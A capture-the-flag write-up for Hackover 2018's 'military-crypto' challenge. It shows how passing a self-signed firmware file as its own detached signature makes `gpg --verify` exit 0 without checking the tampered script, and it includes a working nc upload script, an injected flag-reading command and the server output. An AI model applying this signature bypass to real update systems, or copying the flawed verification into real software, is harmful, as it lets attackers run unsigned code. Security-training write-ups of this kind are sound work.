Tags: bash gpg 

Rating:

*([Original write-up](https://security.meta.stackexchange.com/a/3086/95381) by [@rawsec](https://twitter.com/rawsec/))*

## military-crypto (pwn, 430)

This server app allows users to run, update and download a specific "firmware"
which is a basically GPG-signed bash script. Whenever you want to upload a new
firmware, you supply the firmware image (bash file `firmware.bin`) and detached
signature file (`firmware.bin.sig`) which the server then verifies. So, our goal here
is to modify the bash script to inject our own code while passing the signature
verification.

Let's look at the verification part:

if ! gpg --verify update.bin.sig; then
set +x
echo '!!!!!!!!!!!!!!!!!!!!!!!'
echo '!! INVALID SIGNATURE !!'
echo '!!!!!!!!!!!!!!!!!!!!!!!'
exit 1
else
chmod +x update.bin
echo 'Updating....'
./update.bin
echo 'Rebooting....'
exit 0
fi

The condition `if ! gpg --verify update.bin.sig` means the script fails if `gpp --verify update.bin.sig` returns an exit code other than 0, that is, has a failure of any kind.

The problem with that command is that a lot of what GPG does here is implicit: GPG reads `update.bin.sig`, sees that it's a detached signature, looks at its filename and concludes that it's supposed to sign `update.bin` which it then verifies. Another observation is that `update.bin` has an included ASCII-armored signature in itself:

current_firmware() {
cat <<EOF
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Version: 1.0
Created: 2018-10-03
Audited: KRYPTOCHEF

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEwSuuOHnM9KfOOGG3QoUB03HVrd8FAlu2ra4ACgkQQoUB03HV
rd9kow//b/uQQonqD02g7VXMBYIUcCljLsGaOgvdEXSA6r6y5iym4DVLrDuZrIHP
ryAV30SJkm6gaxjcA19zYBg79tqcolhJPq4Tsd8bCOBEWG31Gk1LN7mzJbCk5TMO
ylf02qYbgpCULPkNxH87s4S8Oo7z0buR50jWAbe28fPkqyF0AG4iConSeIhKtMYB
LNFIdxXm3u99su5BATf13jSGrIIg+iO8aT7xrohOyaY75FlvsB6DBeDLTwf/9z//
SKVixZVKuoh+b4hevECqmwRB3t/NvyIbHz8e70WHXhWg6CXJMMz41YZylGhwNeDF
I3sHjIJ1wx4FDzH1WSlVcrYSOP4UZacgPzwxjMehvnUW2IGFXRiwsh1z21HI8Nlx
N0YZ5b+uwpj75AmP4mNDYvoGHHk1+fqna4a39y2t7qQEWMkEq2YQiuDQjCGAprC+
Q++8HAtODf566z2pB1h8dsdvOWDzzfMS8z3RC6LFydMEiRzVi7sL0tawY60JPBxH
DX2D6njzPi5XjRCNJiGqrK2qsL2aNxDn7zBQExvEUmgLsSR574YUILLa0xsMhMTA
Zn3ht/Rx7yxZJoN8FM0UvajbFdcDmgj2iullEq3aIpmQChoVnb/yygpCq0353UtY
OWZKfxCcH9mQSbcQCjDUFgr91nTXehMQ6d64bSbLxgZuqWwPoy4=
=IbNc
-----END PGP SIGNATURE-----
EOF
}

So what if we feed that whole firmware file as the `.sig`? Since it has an ASCII-armored signature included, GPG will detect the included signature and verify the file by itself without even looking at the original firmware!

Let's make an `update.sh`:

#!/bin/bash
FW="update.bin"
SIG="update.bin.sig"
printf "1\n$(cat $FW|base64|tr -d '\n')\n\n$(cat $SIG|base64|tr -d '\n')\n\n" \
| nc military-crypto.ctf.hackover.de 1337

Use the firmware file as the signature:

$ rm update.bin.sig && cp update.bin update.bin.sig

Now, put `echo $(cat /home/ctf/flag.txt)` somewhere into `update.bin` so that the patched firmware outputs the flag. And finally, run it:

$ ./update.sh
====================================================
== secure update service

we didn't roll our own, powered by the
best crypto known to humanity
====================================================
1) Update firmware 3) Current firmware
2) Download firmware 4) Quit
> ====================================================
1) send update binary as base64
2) finish with an empty line
3) send detached signature as base64
4) finish with an empty line
====================================================
Reading firmware...
Reading detatched signaure...
gpg: Signature made Fri Oct 5 00:17:50 2018 UTC
gpg: using RSA key C12BAE3879CCF4A7CE3861B7428501D371D5ADDF
gpg: key 428501D371D5ADDF marked as ultimately trusted
gpg: checking the trustdb
gpg: marginals needed: 3 completes needed: 1 trust model: pgp
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
gpg: Good signature from "Military Update Authority (fo real)" [ultimate]
gpg: WARNING: not a detached signature; file 'update.bin' was NOT verified!
Updating....
hackover18{r0ll_y0_0wn_crypt0_w1th_pgp}
====================================================

Yay, GPG has verified the `.sig` file although it's not actually a detached signature:

gpg: WARNING: not a detached signature; file 'update.bin' was NOT verified!

But since GPG exits with 0 nonetheless, the verification passes, the modified firmware gets executed, and the flag leaked:

hackover18{r0ll_y0_0wn_crypt0_w1th_pgp}